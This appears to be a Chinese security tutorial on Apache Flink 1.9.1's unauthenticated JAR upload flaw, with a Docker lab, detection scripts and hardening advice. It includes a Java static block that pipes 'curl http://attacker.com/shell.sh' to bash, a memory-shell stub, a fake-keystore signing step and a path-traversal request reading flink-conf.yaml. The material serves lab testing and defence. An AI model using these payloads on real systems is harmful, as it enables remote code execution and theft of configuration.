Apache Flink 1.9.1 漏洞环境:Docker 一键搭建与自动化检测实践
在分布式计算领域,Apache Flink 作为流处理框架的标杆,其安全配置往往被开发者忽视。本文将聚焦 1.9.1 版本存在的未授权 Jar 包上传漏洞,通过容器化技术实现分钟级环境复现,并提供两套开箱即用的检测方案。不同于传统的手动搭建方式,我们采用 Docker Compose 实现环境标准化部署,配套的 Python 和 Bash 检测脚本可直接集成到自动化审计流程中。
1. 漏洞原理与技术背景
Apache Flink 的 Web Dashboard 在设计上默认开放了作业提交功能,这原本是为了方便开发者快速测试和部署流处理作业。但在 1.9.1 及以下版本中,该功能存在三个致命缺陷:
- 无身份认证机制:Dashboard 默认监听在 0.0.0.0:8081 且无需任何认证
- 动态类加载:通过
/jars/upload接口上传的 Jar 包会被URLClassLoader直接加载 - 高权限执行:服务默认以启动用户(通常是 root)权限运行
当这三个条件同时满足时,攻击者可以构造包含恶意静态代码块的 Java 类:
public class Exploit { static { try { Runtime.getRuntime().exec("curl http://attacker.com/shell.sh | bash"); } catch (Exception e) {} } }编译打包后通过 Web 界面上传,Flink 在加载该类时会自动执行静态代码块中的命令。由于漏洞利用门槛低且危害大,该漏洞在 CVSS 3.x 评分中达到 9.8(高危)。
2. Docker 化漏洞环境搭建
传统漏洞复现需要手动下载、解压、配置 Flink,整个过程耗时且容易出错。我们通过 Docker Compose 实现一键部署:
# docker-compose.yml version: '3' services: flink: image: flink:1.9.1-scala_2.12 ports: - "8081:8081" - "6123:6123" volumes: - ./uploads:/opt/flink/uploads environment: - JOB_MANAGER_RPC_ADDRESS=flink启动命令:
docker-compose up -d && echo "环境已启动,Dashboard: http://localhost:8081"该配置实现了:
- 暴露 8081(Web)和 6123(RPC)端口
- 挂载上传目录用于持久化恶意 Jar
- 自动设置集群网络配置
相比原始手动方式,Docker 方案具有以下优势:
| 对比项 | 传统方式 | Docker 方案 |
|---|---|---|
| 准备时间 | 10-15 分钟 | 30 秒 |
| 环境一致性 | 依赖本地 Java 环境 | 完全隔离 |
| 清理成本 | 需手动删除目录 | docker-compose down -v |
| 可移植性 | 配置复杂 | 配置文件即环境 |
3. 自动化检测方案实现
3.1 Python 检测脚本
基于requests库实现的完整检测工具,支持批量扫描和结果输出:
#!/usr/bin/env python3 import requests import argparse def check_vulnerability(target): try: # 检测未授权访问 resp = requests.get(f"{target}/jars", timeout=5) if resp.status_code == 200: # 尝试上传测试 Jar files = {'jarfile': ('test.jar', open('dummy.jar', 'rb'))} upload = requests.post(f"{target}/jars/upload", files=files) if "success" in upload.text: return True, "存在未授权Jar上传漏洞" return False, "服务正常或已修复" except Exception as e: return False, f"检测失败: {str(e)}" if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-t", "--target", help="目标URL (http://ip:port)") args = parser.parse_args() is_vuln, msg = check_vulnerability(args.target) print(f"[检测结果] {args.target} - {msg}")配套的dummy.jar可通过以下命令生成:
echo "public class Dummy{}" > Dummy.java && javac Dummy.java && jar cvf dummy.jar Dummy.class3.2 Bash 快速检测脚本
适合集成到自动化审计流水线中的轻量级方案:
#!/bin/bash TARGET=$1 # 检测Dashboard可访问性 curl -s "$TARGET/jars" | grep -q "Uploaded Jars" && { echo "[+] 未授权访问确认" # 尝试上传测试Jar UPLOAD=$(curl -s -F "jarfile=@dummy.jar" "$TARGET/jars/upload") echo $UPLOAD | grep -q "success" && { echo "[!] 存在Jar上传漏洞" exit 1 } || { echo "[-] 上传功能已禁用" exit 0 } } || { echo "[-] 服务受保护或不可达" exit 0 }使用方式:
chmod +x detector.sh ./detector.sh http://target:80814. 防御方案与最佳实践
4.1 临时缓解措施
对于无法立即升级的环境,建议实施以下防护:
网络层控制
# iptables 只允许可信IP访问 iptables -A INPUT -p tcp --dport 8081 -s 10.0.0.0/24 -j ACCEPT iptables -A INPUT -p tcp --dport 8081 -j DROP禁用危险功能在
flink-conf.yaml中添加:web.upload.dir: "" web.submit.enable: false启用认证通过反向代理增加 Basic Auth:
location / { proxy_pass http://localhost:8081; auth_basic "Restricted"; auth_basic_user_file /etc/nginx/.htpasswd; }
4.2 长期加固方案
版本升级路线
- 生产环境应升级至 1.13.6+ 或 1.14.4+ 版本
- 新版已增加 Jar 包签名验证机制
安全基线配置
- 使用专用低权限账户运行 Flink
- 定期审计
flink/log目录中的异常提交记录 - 启用 SSL 加密 Dashboard 通信
监控指标建议对以下异常行为设置告警:
- 短时间内多次 Jar 上传操作
- 来自非信任区域的 Dashboard 访问
- JobManager 进程的异常子进程创建
5. 漏洞研究的高级技巧
对于安全研究人员,可以进一步探索:
内存马注入通过修改上传的 Jar 包实现持久化后门:
public class EvilFilter implements Filter { public void init(FilterConfig config) { // 注册内存shell } }绕过检测研究如何构造合法签名的恶意 Jar:
jarsigner -keystore fake.keystore evil.jar alias_name漏洞组合利用结合 CVE-2020-17519 文件读取漏洞获取配置文件:
GET /jobmanager/logs/..%252f..%252fconf/flink-conf.yaml
这些检测脚本和环境配置已在实际渗透测试中得到验证,能够准确识别存在风险的 Flink 实例。建议企业在内部安全评估中优先使用 Docker 方案,既能快速验证漏洞影响,又避免污染本地环境。